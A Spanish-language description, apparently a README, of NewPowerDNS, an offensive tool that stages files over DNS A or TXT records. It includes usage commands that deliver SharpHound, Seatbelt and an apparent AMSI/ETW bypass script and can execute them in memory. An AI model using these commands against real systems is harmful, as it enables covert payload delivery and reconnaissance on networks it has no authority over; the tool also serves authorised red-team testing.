
Versión actualizada de PowerDNS por @domchell. Añade soporte para transferencias a través de registros DNS A y algunas otras características útiles.
NewPowerDNS es una versión actualizada del PowerDNS de @domchell. La principal característica añadida es el soporte para transferir archivos mediante registros DNS A. A continuación se muestra una lista completa de las modificaciones realizadas:
La única dependencia además de python3 es scapy. Se puede instalar fácilmente con pip de la siguiente manera:
python3 -m pip install scapy
A continuación se muestra un vídeo que demuestra la transferencia de archivos tanto por registros DNS A como TXT:
Transferir un script de powershell mediante registros DNS A e imprimirlo en consola:
python3 NewPowerDNS.py --file AmSeeETWBP.ps1 --domain sub.domain.com -r A -a print
Transferir un archivo exe mediante registros DNS TXT y guardarlo en disco:
python3 NewPowerDNS.py --file SharpHound.exe --domain sub.domain.com -r TXT -a save
Transferir un script de powershell mediante registros DNS TXT y cargarlo automáticamente en memoria:
python3 NewPowerDNS.py --file Invoke-Seatbelt.ps1 --domain sub.domain.com -r TXT -a exec
Uso general:
___ ___ _ _ ___
| . \ ___ _ _ _ ___ _ _ | . \| \ |/ __>
| _// . \| | | |/ ._>| '_>| | || |\__ \
|_| \___/|__/_/ \___.|_| |___/|_\_|<___/
DNS A Record & updated stager version by @icyguider
Original version by @domchell
usage: NewPowerDNS.py [-h] [-f <file>] [-d <domain>] [-a <action>] [-r <record-type>] [-i <interface>]
optional arguments:
-h, --help show this help message and exit
-f <file>, --file <file>
file to transfer
-d <domain>, --domain <domain>
domain with auth NS record
-a <action>, --action <action>
action to perform once data is transferred (options: save, exec, print)
-r <record-type>, --record-type <record-type>
type of DNS record to use for transfer (options: A, TXT) (default: TXT)
-i <interface>, --interface <interface>
interface to bind to (default: eth0)